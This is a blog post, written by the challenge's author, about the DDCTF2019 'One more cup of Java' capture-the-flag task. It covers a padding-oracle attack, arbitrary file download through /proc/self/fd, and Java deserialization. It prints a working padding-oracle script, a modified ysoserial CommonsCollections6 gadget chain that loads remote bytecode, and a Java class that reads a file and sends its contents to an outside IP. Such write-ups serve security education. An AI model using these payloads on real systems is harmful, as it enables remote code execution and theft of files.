DDCTF2019 "再来1杯Java"出题记录

0x00 总体思路

题目请看:https://ddctf.didichuxing.com/challenges#%E5%86%8D%E6%9D%A51%E6%9D%AFJava
考点3个:

  • padding oracle
  • 任意文件下载
  • Java反序列化攻击

看同学们解题基本按照我的预想,但细节还是有我没料想到解法。希望大家在做这道题目,展现自己水平的同时,也能细细体会下,学到一些有用的知识。接下来,我就聊聊这几个考点涉及到有趣的故事。

0x01 具体分析

1. padding oracle

padding oracle的资料很多,但我看到的大多都是2个block,直接改变IV来加解密。想给大家传递个点是,针对(>2)个block的密文,同样是可以进行PaddingOracle攻击。思路是:将多个Block每次分为2块进行PaddingOracle攻击。 本题关键点:Token解密失败会返回’decrypt err‘,成功解密会返回’parse json err‘或者正确的明文。这就可以通过这个“侧信道”数据,来进行攻击了。 这里推荐1个工具,https://github.com/mwielgoszewski/python-paddingoracle,加解密1把嗦。我使用的时候,加密会又些问题,提了个commit,有兴趣的同学可以看看。 攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time


class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
token = b64encode(data)
print token
cookies = {"token": token}
while 1:
try:
response = self.session.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info', cookies=cookies,
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue

self.history.append(response)

if "decrypt err" not in response.text:
logging.debug('No padding exception raised on %r', token)
return

raise BadPaddingException


if __name__ == '__main__':
import logging

logging.basicConfig(level=logging.ERROR)

token = "UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF"
encrypted_token = b64decode(token)

padbuster = PadBuster()

start = time.time()
'''
plaintext_padding = padbuster.decrypt(encrypted_token, block_size=16, iv=bytearray(16))
print('Decrypted some token: %s => %r' % (token, plaintext_padding))
'''
admin_plaintext_padding = '{"id":100,"roleAdmin":true}'
encrypted_padding = padbuster.encrypt(admin_plaintext_padding, block_size=16, iv=bytearray(16))
print b64encode(encrypted_padding)
#1YNVAISdtjgYC3t4XJPkl6HhLeroubt01XrDUGcj2O8AAAAAAAAAAAAAAAAAAAAA
elapsed = (time.time() - start)
print elapsed # 5 minute

ps:出题时候偷懒失误了,直接把明文给了。导致题目变简单了,有个同学用新颖的思路,不用Padding Oracle直接CBC翻转,构造出了管理员的Token。

0x02 任意文件下载

参考这篇文章里面提到的思路和fuzz字典。 大家对于Java可能比较熟悉SpringMVC的形式,将Java编译成字节码,放到Tomcat上运行。而现在大多都是前后端分离,后端使用Spring Boot打包成Jar运行,提供REST形式的接口。 运行也很方便,直接java -jar spring-serial-ddctf-2019-1.0-SNAPSHOT.jar。也正因如此,会在进程的文件描述目录/proc/self/fd/,获取到源码。

0x03 Java反序列化

这里是想模拟WebLogic攻击的方法,本来想着在SerialKiller里面去掉JRMP的Payload。后来出题的时候发现不去掉也行,参考文章Weblogic JRMP反序列化漏洞回顾里面的多个Payload,就能找到管用的~我出题测试的时候,直接用的RMIConnectionImpl_Stub进行绕过。 代码我放到GitHub:https://github.com/angelwhu/ysoserial-my/blob/master/src/main/java/ysoserial/payloads/JRMPClient2.java 为了考察各位对Java的编程能力和熟悉程度,我使用阿里的JVM-Sandbox工具Hook了底层命令执行函数。我把源码放在这里了https://github.com/angelwhu/jvm-systemblock,有兴趣可以看看~ 禁用了命令执行,就需要同学们自己写Java代码读目录读文件了,然后通过网络请求将结果返回到服务器~有2个思路:

  • ysoserial工具里面的执行Java代码部分的Payload。
  • 使用URLClassLoader加载远程Java字节码。

这2个思路,在做出这道题的2个同学里分别使用了,点赞~ 比较麻烦的地方,需要同学们耐心:

  • 需要编译打包工具,传到线上,操作比较麻烦。
  • 改工具,写Java代码,慢慢调试。

CommonsCollections1的payload不管用,本地配置环境测试好再打远程比较好。 我用的CommonsCollections6的Payload,然后改成了URLClassLoader形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;

import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {

@Override
public Serializable getObject(final String command) throws Exception {
return getObjectURLClassLoader(command);
}

public Serializable getObjectURLClassLoader(final String command) throws Exception {

final String[] execArgs = new String[] { command };

String url = "http://***:8999/";
String className = "ErrorBaseExec";
String cmd = command;
String method = "do_exec";
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer(
"getConstructor",
new Class[] {Class[].class},
new Object[] {new Class[]{java.net.URL[].class}}
),
new InvokerTransformer(
"newInstance",
new Class[] {Object[].class},
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(url) }}}
),
new InvokerTransformer(
"loadClass",
new Class[] { String.class },
new Object[] { className }
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{method, new Class[]{String.class}}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new String[]{cmd}}
)
};
/*
URLClassLoader.class.getConstructor(java.net.URL[].class).newInstance(new java.net.URL("url"))
.loadClass("remote_class").getMethod("do_exec", String.class).invoke(null, "cmd");

*/

Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}


f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node, entry);

return map;

}


public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, new String[]{"id"});
}
}

读flag的Java代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;

public class ErrorBaseExec {

public static void do_exec(String args) throws Exception {
//String res = exec(args);
//String res = getDir("/flag");
String res = getFileContent("/flag/flag_7ArPnpf3XW8Npsmj");

URL url = new URL("http://39.106.143.48:9000/base64.php?q=" + Base64.getEncoder().encodeToString(res.getBytes()));
//System.out.println(url);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("GET");
con.getResponseCode();
}

public static String exec(String args) throws Exception {
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String result = sb.toString();
return result;
}

public static String getDir(String path) {
String res = "";

File f = new File(path);
if (!f.exists()) {
return path + " not exists";
}

File[] fa = f.listFiles();
for (int i = 0; i < fa.length; i++) {
File fs = fa[i];
if (fs.isDirectory()) {
res = res + fs.getName() + " [dir]" + "\n";
} else {
res = res + fs.getName() + "\n";
}
}

return res;
}

public static String getFileContent(String filename) throws Exception {
String content = "";

File file = new File(filename);

InputStreamReader reader = new InputStreamReader(new FileInputStream(file));

BufferedReader br = new BufferedReader(reader);
String line = br.readLine();
content += line + "\n";
while (line != null) {
line = br.readLine();
content += line + "\n";
}
return content;
}

public static void main(String[] args) throws Exception {
do_exec("id");
}
}

0x04 ddctf几句话

本题思路是基于现在广泛使用的Spring Boot框架抽象提取的业务场景。
考点Padding Oracle出题失误,把明文显示出来了,造成选手直接构造CBC翻转攻击的独特解法,很赞。 反序列化漏洞的考点,本来想去掉SerialKiller工具里面关于JRMP防护部分,题目测试时候发现可以直接绕过,也就没改、加大了难度。考察漏洞攻击理解的同时,通过限制命令执行操作,着重考察了同学们的Java编程能力。做出题目的2位同学用的思路都不一样,都很棒。 希望做过这道题目的同学能够从中学到一些知识,而不执著于题目本身。

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2019/05/04/ddctf2019-one-more-cup-of-java-record/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog